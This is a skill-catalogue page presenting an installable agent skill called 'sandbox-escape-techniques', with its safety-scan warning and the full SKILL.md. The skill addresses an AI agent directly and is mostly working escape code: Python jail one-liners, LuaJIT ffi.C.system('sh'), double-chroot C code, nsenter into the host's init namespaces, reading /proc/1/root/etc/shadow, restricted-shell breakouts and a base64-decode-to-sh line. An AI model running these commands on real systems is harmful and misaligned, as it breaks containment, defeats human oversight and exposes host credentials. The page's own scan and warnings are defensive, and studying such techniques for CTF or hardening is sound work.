sandbox-escape-techniques
Sandbox escape playbook
Install / Use
npx skills add yaklang/hack-skills --skill sandbox-escape-techniquesInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
OperationsSupported Platforms
Our assessment of sandbox-escape-techniques
sandbox-escape-techniques scores 82/100 on our quality scale, 626th of 746 Operations skills we index.
Its SKILL.md is 8.9 KB long, well organised into 29 sections with 9 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so sandbox-escape-techniques is actively maintained.
- Our last check on 2026-11-07 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
WarningOur scan of the whole file found 1 high-risk pattern. Read the lines below before installing sandbox-escape-techniques, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill file is explicitly an attack playbook instructing the agent to break out of Python, Lua, seccomp, chroot, container, browser, and namespace sandboxes to achieve unrestricted code execution or file access.
- highDecodes hidden content and executes itline 203
| Encoding | `echo /bin/bash | base64 -d | sh` |
AI review: risky
- The skill file is explicitly an attack playbook instructing the agent to break out of Python, Lua, seccomp, chroot, container, browser, and namespace sandboxes to achieve unrestricted code execution or file access.
- It provides concrete executable commands for escaping, such as `ffi.C.system("sh")`, `chroot`/`fchdir` escapes, `nsenter --target 1`, and `cat /proc/1/root/etc/shadow`, which subvert isolation and can harm the user.
- Line 203 (`echo /bin/bash | base64 -d | sh`) demonstrates decoding hidden content and executing it, matching the automated flag for obfuscated execution.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-04. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
sandbox-escape-techniques compared with similar skills
All 4 of these similar skills score higher than sandbox-escape-techniques; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| sandbox-escape-techniques (this skill)by yaklang | 82 | 2.3k | 2mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 103.6k | 2d ago | MCP Server |
| crawl4aiby unclecode | 100 | 87.4k | 3d ago | MCP Server |
Frequently asked questions
- How do I install sandbox-escape-techniques?
- Run
npx skills add yaklang/hack-skills --skill sandbox-escape-techniques. The install tabs above show the steps for each supported agent. - Which AI agents does sandbox-escape-techniques work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is sandbox-escape-techniques safe to use?
- Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing sandbox-escape-techniques, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill file is explicitly an attack playbook instructing the agent to break out of Python, Lua, seccomp, chroot, container, browser, and namespace sandboxes to achieve unrestricted code execution or file access. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is sandbox-escape-techniques still maintained?
- The repository was last updated about 2 months ago, so sandbox-escape-techniques is actively maintained.
Skill content
View source on GitHubname: sandbox-escape-techniques description: >- Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
SKILL: Sandbox Escape — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.
0. RELATED ROUTING
- browser-exploitation-v8 — V8 exploitation for renderer RCE before browser sandbox escape
- container-escape-techniques — Docker/container specific escape techniques
- kernel-exploitation — kernel exploit for container/namespace escape
- linux-privilege-escalation — post-escape privilege escalation
Advanced References
- PYTHON_SANDBOX_ESCAPE.md — Full pyjail methodology:
__builtins__recovery, keyword bypass, AST bypass, pickle escape - SECCOMP_BYPASS.md — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining
1. SANDBOX TYPE IDENTIFICATION
| Sandbox Type | Indicators | Typical Context |
|---|---|---|
| Python sandbox (pyjail) | Limited builtins, filtered keywords, exec/eval available | CTF, online judges, Jupyter |
| Lua sandbox | No os, io modules; restricted metatables | Game scripting, config |
| seccomp | syscall filtering, prctl(PR_SET_SECCOMP) | CTF pwn, container hardening |
| chroot | Changed root filesystem, limited /proc access | Legacy isolation |
| Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
| Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
| Namespace isolation | PID/mount/network/user namespace | Container runtimes |
2. PYTHON SANDBOX ESCAPE (OVERVIEW)
See PYTHON_SANDBOX_ESCAPE.md for full methodology.
Quick Reference
| Technique | One-Liner |
|---|---|
| Subclass walk | ().__class__.__bases__[0].__subclasses__() → find os._wrap_close → __init__.__globals__['system'] |
| Import recovery | __builtins__.__import__('os').system('sh') |
| getattr bypass | getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os') |
| chr construction | eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) |
| Pickle escape | pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") |
| Code object | Construct types.CodeType(...) then exec() with custom bytecode |
3. LUA SANDBOX ESCAPE
Restricted Environment Bypass
-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals
Lua FFI Escape (LuaJIT)
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry
4. CHROOT ESCAPE
| Technique | Condition | Method |
|---|---|---|
| Open fd to real root | File descriptor leaked from outside chroot | fchdir(leaked_fd) then chroot(".") |
| Double chroot | Process is root inside chroot | mkdir("x"); chroot("x"); chdir("../../../..") |
| TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c) |
| /proc access | /proc mounted inside chroot | /proc/1/root/ → access real root filesystem |
| ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
| Mount namespace | Privileged | Mount real root into chroot |
Double Chroot Escape
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);
5. BROWSER SANDBOX ESCAPE (OVERVIEW)
Chrome Sandbox Architecture (Linux)
Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)
Escape Vectors
| Vector | Description | |---|---| | Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process | | Shared memory corruption | Corrupt shared memory segments between renderer and browser | | GPU process bug | Exploit GPU process (less sandboxed) as stepping stone | | Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) | | Signal handling | Race condition in signal delivery across sandbox boundary |
Mojo Interface Attack Pattern
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access
6. NAMESPACE ESCAPE
User Namespace Escalation
# If allowed to create user namespaces (unprivileged):
unshare -Urm # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration
PID Namespace Escape
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access
Mount Namespace Tricks
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/ # host root filesystem
cat /proc/1/root/etc/shadow # read host files
# If can mount:
mount -t proc proc /proc
# Access host /proc entries
7. RBASH / RESTRICTED SHELL ESCAPE
| Technique | Method |
|---|---|
| vi/vim | :!/bin/bash or :set shell=/bin/bash then :shell |
| less/more | !/bin/bash |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| find | find / -exec /bin/bash \; |
| python/perl/ruby | python -c 'import pty;pty.spawn("/bin/bash")' |
| ssh | ssh user@host -t /bin/bash |
| Environment | export PATH=/usr/bin:/bin; /bin/bash |
| cp | Copy /bin/bash to allowed directory |
| git | git help config → then !/bin/bash in pager |
| Encoding | echo /bin/bash | base64 -d | sh |
8. DECISION TREE
What type of sandbox?
├── Python sandbox (pyjail)?
│ └── See PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__ available? → direct import
│ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│ ├── Keywords filtered? → chr()/getattr() construction
│ └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│ ├── debug library available? → getregistry/getupvalue
│ ├── FFI available (LuaJIT)? → ffi.C.system()
│ ├── loadstring available? → load arbitrary code
│ └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│ └── See SECCOMP_BYPASS.md
│ ├── Architecture confusion (32-bit syscalls from 64-bit)
│ ├── Allowed syscalls → ORW chain
│ ├── io_uring allowed? → bypass via io_uring
│ └── ptrace allowed? → debug child process
│
├── chroot jail?
│ ├── Root inside chroot? → double chroot escape
│ ├── Leaked fd? → fchdir to real root
│ ├── /proc mounted? → /proc/1/root access
│ └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│ ├── Privileged container? → mount host, load kernel module
│ ├── Mounted docker.sock? → docker API → escape
│ ├── See ../container-escape-techniques/SKILL.md
│ └── Kernel exploit → full escape
│
├── Browser sandbox?
│ ├── Have renderer RCE? → target Mojo IPC for browser escape
│ ├── GPU process accessible? → less-sandboxed stepping stone
│ └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
└── Find any interactive program (vi, less, python, awk, git)
Related Skills
Agent-Reach
112.3kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
79.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Scrapling
103.6k🕷️ The BEST Web Scraping framework that handles everything from a single request to a full-scale crawl! Don't be shy, join here: https://discord.gg/EMgGbDceNQ and follow here for daily tips and tricks: https://x.com/Scrapling_dev
crawl4ai
87.4kOfficial Crawl4AI Cloud: a hosted web scraping, extraction, and search API for AI agents. Free API key, 1,000 credits a month, no card. Fully open source: this repo is the Apache-2.0 crawler that powers it, and you can self-host it.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
